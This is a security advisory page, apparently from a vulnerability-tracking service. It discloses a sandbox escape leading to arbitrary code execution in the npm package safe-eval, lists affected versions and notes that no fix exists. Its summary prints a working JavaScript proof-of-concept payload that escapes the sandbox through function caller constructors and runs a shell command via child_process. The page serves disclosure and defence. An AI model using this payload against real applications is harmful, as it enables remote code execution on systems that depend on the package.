GHSA-9pcf-h8q9-63f6 json
Sandbox Breakout / Arbitrary Code Execution in safe-eval
published 6y ago modified 6y ago
- cvss
- —
- not scored
- cisa kev
- Not listed
- not in CISA's catalog
- epss
- —
- no score, EPSS covers CVEs only
- public exploits
- 0
- none known
Summary
All versions of `safe-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload chaining a function's callee and caller constructors can escape the sandbox and execute arbitrary code.
For example, the payload ``` ((() => { const targetKey = Object.keys(this)[0]; Object.defineProperty(this, targetKey, { get: function() { return arguments.callee.caller.constructor( "return global.process.mainModule.require('child_process').execSync('pwd').toString()" )(); } }); })();``` may be used to print the `pwd` to the console.
## Recommendation
No fix is currently available. Consider using an alternative package until a fix is made available.
Is GHSA-9pcf-h8q9-63f6 in your dependencies? Fencer shows which of your repositories are affected as soon as an advisory lands, and opens the fix as a pull request.
Check with FencerAffected packages
| ecosystem | package | affected | fixed in |
|---|---|---|---|
| npm | safe-eval | >=0.0.0 |
no fix listed |
References
Sources
- GitHub Advisory GHSA-9pcf-h8q9-63f6
Fencer Intel keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.